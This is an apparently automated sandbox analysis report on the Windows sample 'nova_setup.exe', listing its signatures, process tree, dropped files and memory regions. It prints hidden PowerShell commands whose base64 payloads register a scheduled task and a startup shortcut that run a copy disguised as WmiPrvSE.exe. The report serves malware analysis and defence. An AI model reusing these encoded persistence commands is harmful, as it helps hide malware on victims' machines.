Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/07/2026, 22:43

General

  • Target
    nova_setup.exe
  • Size 12.0MB
  • Sample260719-2ndcmsev7m
  • SHA256 28beb10b4f0110c99ecf49d54e4540243ec53db5228ba7bcbbf72635721f6fc2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\nova_setup.exe
    "C:\Users\Admin\AppData\Local\Temp\nova_setup.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAVwBtAGkAUAByAHYAUwBFAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAUwBFAFIATgBBAE0ARQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAFsAVABpAG0AZQBTAHAAYQBuAF0AOgA6AFoAZQByAG8AKQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBtAGkAUAByAHYAUwBFACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwB0AG8AcAA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:6732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXABXAG0AaQBQAHIAdgBTAEUALgBsAG4AawAnACkAOwAkAGwAbgBrAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAQQBwAHAAcwBcAFcAbQBpAFAAcgB2AFMARQAuAGUAeABlACcAOwAkAGwAbgBrAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0ANwA7ACQAbABuAGsALgBTAGEAdgBlACgAKQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops startup file
      • Suspicious behavior: EnumeratesProcesses
      PID:5532
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
        PID:3684
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAVwBtAGkAUAByAHYAUwBFAC4AZQB4AGUAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAUwBFAFIATgBBAE0ARQA7ACQAcwA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAFsAVABpAG0AZQBTAHAAYQBuAF0AOgA6AFoAZQByAG8AKQA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBtAGkAUAByAHYAUwBFACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAUwB0AG8AcAA=
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:6972
    • C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\WmiPrvSE.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\WmiPrvSE.exe"
      1⤵
      • Executes dropped EXE
      • Drops file in Windows directory
      PID:7032
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        2⤵
          PID:6348

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 858acdb8676d64845c57816b4a70cbba05c24841677e899c3325cc692f03f82e
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_fq1rgapy.4uj.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fq1rgapy.4uj.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            people.csv

            • Path C:\Users\Admin\AppData\Local\Temp\people.csv
            • Size 107B
            • SHA256 294d1f58f50ca23ced754ae052327af4a40b978ad4fd87e018bbe125a27e3b82
            • MD5 SHA1 SHA512 TLSH

            WmiPrvSE.exe

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\WmiPrvSE.exe
            • Size 12.0MB
            • SHA256 28beb10b4f0110c99ecf49d54e4540243ec53db5228ba7bcbbf72635721f6fc2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            people.csv

            • Path C:\Windows\people.csv
            • Size 107B
            • SHA256 26fbfc10457912817a251397b5345e54ea850fa43960d89a606883c5d92f1b53
            • MD5 SHA1 SHA512 TLSH

            people.csv

            • Path C:\Windows\people.csv
            • Size 105B
            • SHA256 9aa10869a73a690d19461a2060b978ac1eb064d0855e9f6d0ad6efa2f92001a5
            • MD5 SHA1 SHA512 TLSH

            memory/1224-67-0x00000000036F0000-0x0000000003704000-memory.dmp

            memory/1224-3-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/1224-73-0x0000000003710000-0x0000000003718000-memory.dmp

            memory/1224-4-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/1224-0-0x00007FFC6282F000-0x00007FFC62830000-memory.dmp

            memory/1224-82-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/1224-2-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/1224-1-0x00000000000C0000-0x0000000000CC6000-memory.dmp

            memory/1224-5-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/1224-41-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-15-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-14-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-23-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-24-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-37-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-8-0x000001DFC86D0000-0x000001DFC86F2000-memory.dmp

            memory/6732-22-0x000001DFE0D40000-0x000001DFE0D5E000-memory.dmp

            memory/6732-38-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-39-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-40-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-20-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-42-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-43-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-12-0x000001DFE0FA0000-0x000001DFE1052000-memory.dmp

            memory/6732-48-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-50-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-18-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-17-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-16-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-21-0x00007FFC626A0000-0x00007FFC63044000-memory.dmp

            memory/6732-13-0x000001DFE0D10000-0x000001DFE0D1A000-memory.dmp

            memory/6732-11-0x000001DFE0CF0000-0x000001DFE0D0E000-memory.dmp

            memory/6972-79-0x00000260E8A60000-0x00000260E8B12000-memory.dmp

            memory/7032-44-0x00000000017C0000-0x00000000017C1000-memory.dmp

            memory/7032-80-0x0000000003390000-0x0000000003391000-memory.dmp

            memory/7032-84-0x00007FFC5B3D0000-0x00007FFC5B62E000-memory.dmp

            memory/7032-36-0x00000000017A0000-0x00000000017A8000-memory.dmp